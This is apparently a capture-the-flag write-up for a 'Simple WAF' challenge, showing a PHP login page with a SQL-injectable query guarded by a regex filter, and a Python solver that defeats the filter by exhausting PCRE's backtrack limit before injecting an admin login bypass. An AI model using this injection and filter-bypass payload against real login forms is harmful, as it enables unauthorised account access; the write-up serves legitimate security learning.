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# Simple WAF

[Medium]

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Author : abdoghazy

<http://20.115.83.90:1339/>

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Solved late...forgot to add a dash ( - ) in the last :(

Solution:

The source code was given to us.

```
<?php

require_once("db.php");

function waf($input)
{
    if(preg_match("/([a-z])+s",$input))
    {
        return true;
    }
    else
    {
        return false;
    }
}

if(isset($_POST['login-submit']))
{
    if(!empty($_POST['username'])&&!empty($_POST['password']))
    {
        $username=$_POST['username'];
        $password=md5($_POST['password']);
        if(waf($username))
        {
            die("WAF Block");
        }
        else
        {
            $res = $conn->query("select * from users where username='$username' and password='$password'");

            if($res->num_rows ==1)
            {
                echo "0xL4ugh{Fake_Flag}";
            }
            else
            {
                echo "<script>alert('Wrong Creds')</script>";
            }
        }
    }
    else
    {
        echo "<script>alert('Please Fill All Fields')</script>";
    }
}

?>
```

The query is vulnerable to SQL injection. However...

- We can't attack the password since it's being hashed using md5
- A regex match is done to the username so only lowercase alphabet letters are allowed

I came across this writeup while looking for how to bypass preg\_match <https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223#id-2.1-checks-bypass-with-redos-that-causes-sigsegv-in-pcre>

So we can do a ReDoS (Regular Expression Denial of Service) by exceeding pcre.backtrack\_limit

Let's make use of Python...

```
import requests

URL = "http://20.115.83.90:1339/"

data = {
    "username": f"admin' /*{'A'*100000}*/ -- -",
    "password": "admin",
    "login-submit": ""
}

data = requests.post(URL, data=data)

print(data.text)
```

C:\Windows\System32\cmd.exe

C:\>python solver.py
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<html lang="en">
<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>Ghazy Corp</title>
 <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta1/dist/css,
 <link href="https://use.fontawesome.com/releases/v5.7.2/css/all.css" re
 <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta1/dist/js,
 <script src="//code.jquery.com/jquery-1.11.1.min.js"></script>
</head>
<style>

Flag: 0xL4ugh{0ohh\_You\_Brok3\_My\_White\_List!!!}

Just realized I forgot to add the last dash too late :( Was using "username": f"admin' /\*{'A'\*100000}\*/ -- -",